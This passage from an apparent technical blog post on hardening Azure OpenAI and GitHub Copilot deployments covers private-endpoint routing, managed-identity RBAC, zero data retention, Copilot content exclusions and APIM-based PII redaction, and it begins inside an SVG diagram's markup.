style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='20' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='116' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='100' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='68' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"routing-cicd-traffic\"\u003eRouting CI/CD Traffic\u003c/h3\u003e\n\u003cp\u003eFor this to work, your build agents need line-of-sight to the private IP. Microsoft-hosted GitHub Actions runners cannot reach these endpoints—they live on the public internet. Deploy \u003cstrong\u003eself-hosted runners\u003c/strong\u003e or \u003cstrong\u003eAzure Container Instances\u003c/strong\u003e inside your VNet. Lock down the agent subnet with Network Security Groups (NSGs) that only permit HTTPS (443) outbound to the Private Endpoint IP.\u003c/p\u003e\n\u003ch2 id=\"3-layer-2-identity--governance-with-entra-id\"\u003e3. Layer 2: Identity \u0026amp; Governance with Entra ID\u003c/h2\u003e\n\u003cp\u003eAPI keys are the primary vector for credential sprawl. They don\u0026rsquo;t expire, you can\u0026rsquo;t audit per-caller, and a single leaked key grants access to every deployment within an OpenAI resource.\u003c/p\u003e\n\u003ch3 id=\"keyless-ai-with-managed-identities\"\u003eKeyless AI with Managed Identities\u003c/h3\u003e\n\u003cp\u003eReplace keys with \u003cstrong\u003eUser-Assigned Managed Identities\u003c/strong\u003e. Grant the identity the \u003ccode\u003eCognitive Services OpenAI User\u003c/code\u003e (ID: \u003ccode\u003e5e0bd9bd-7b93-4f28-af87-19fc36ad61bd\u003c/code\u003e) RBAC role at the resource level. This gives you a granular audit trail in Azure Monitor showing exactly which identity called which model at what time.\u003c/p\u003e\n\u003cp\u003eFor application code, use the \u003cstrong\u003eDefaultAzureCredential\u003c/strong\u003e from the \u003ccode\u003eazure-identity\u003c/code\u003e library. It provides a unified authentication pattern that automatically detects Managed Identities in production while falling back to your personal login during local development.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Assigning the role to a Managed Identity at the resource scope\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz role assignment create \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --role \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Cognitive Services OpenAI User\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --assignee \u0026lt;MI_PRINCIPAL_ID\u0026gt; \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    --scope \u0026lt;OPENAI_RESOURCE_ID\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"4-layer-3-data-sovereignty-via-zero-data-retention\"\u003e4. Layer 3: Data Sovereignty via Zero Data Retention\u003c/h2\u003e\n\u003cp\u003eBy default, Microsoft encrypts and stores prompts and completions for 30 days to investigate abuse. For regulated industries, that 30-day \u0026ldquo;Abuse Monitoring\u0026rdquo; log is a compliance blocker.\u003c/p\u003e\n\u003ch3 id=\"modified-abuse-monitoring-zdr\"\u003eModified Abuse Monitoring (ZDR)\u003c/h3\u003e\n\u003cp\u003eZero Data Retention (ZDR) is achieved through the \u003cstrong\u003eModified Abuse Monitoring\u003c/strong\u003e program. Once approved, Microsoft stops writing prompts to their logs. The data processes in memory for the inference request and then discards.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eEligibility Note:\u003c/strong\u003e This is a gated program. You need an \u003cstrong\u003eEnterprise Agreement (EA)\u003c/strong\u003e or \u003cstrong\u003eMicrosoft Customer Agreement (MCA)\u003c/strong\u003e and must submit a formal \u0026ldquo;Limited Access Review\u0026rdquo; application via \u003ca href=\"https://aka.ms/oai/modifiedaccess\"\u003eaka.ms/oai/modifiedaccess\u003c/a\u003e citing specific regulatory requirements like GDPR or HIPAA. The paperwork is real. So is the payoff. Note that this removes \u003cem\u003eMicrosoft\u0026rsquo;s\u003c/em\u003e logs—your own diagnostic logs in Log Analytics, which you control, remain active.\u003c/p\u003e\n\u003ch2 id=\"5-layer-4-github-copilot-enterprise-governance\"\u003e5. Layer 4: GitHub Copilot Enterprise Governance\u003c/h2\u003e\n\u003cp\u003eGitHub Copilot Enterprise indexes your repositories to provide context. Without governance, it may index \u0026ldquo;Crown Jewel\u0026rdquo; algorithms or sensitive configuration files.\u003c/p\u003e\n\u003ch3 id=\"content-exclusions-and-copilotignore\"\u003eContent Exclusions and .copilotignore\u003c/h3\u003e\n\u003cp\u003eConfigure \u003cstrong\u003eContent Exclusions\u003c/strong\u003e in your GitHub organization settings. This prevents Copilot from using specific paths as context for suggestions. Standard exclusion targets include:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003einfra/\u003c/code\u003e and \u003ccode\u003eterraform/\u003c/code\u003e (IaC logic)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e**/secrets/**\u003c/code\u003e and \u003ccode\u003e**/*.env\u003c/code\u003e (Credentials)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e**/*.pem\u003c/code\u003e and \u003ccode\u003e**/*.key\u003c/code\u003e (Certificates)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo enforce this at the repository level, commit a \u003ccode\u003e.copilotignore\u003c/code\u003e file. While not a server-side hard boundary like organization-level exclusions, it signals clear intent to the IDE extensions and maintains a clean context window.\u003c/p\u003e\n\u003ch2 id=\"6-layer-5-secure-ai-augmented-pipelines\"\u003e6. Layer 5: Secure AI-Augmented Pipelines\u003c/h2\u003e\n\u003cp\u003eSecuring the pipeline means putting a gate between your code and the AI model. \u003cstrong\u003eAzure API Management (APIM)\u003c/strong\u003e acts as that AI Gateway.\u003c/p\u003e\n\u003ch3 id=\"apim-as-an-ai-guardrail\"\u003eAPIM as an AI Guardrail\u003c/h3\u003e\n\u003cp\u003eUse APIM inbound policies to scrub prompts for PII (SSNs, emails) or hardcoded credentials before they reach Azure OpenAI. Even if a developer makes a mistake, the sensitive data gets redacted at the network layer. APIM also provides centralized logging to \u003cem\u003eyour\u003c/em\u003e Log Analytics workspace, giving you a full audit trail that satisfies ZDR requirements.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;inbound\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e\u0026lt;!-- Example: Redact potential SSN patterns from the prompt --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;find-and-replace\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efrom=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\\d{3}-\\d{2}-\\d{4}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eto=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[REDACTED_SSN]\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan 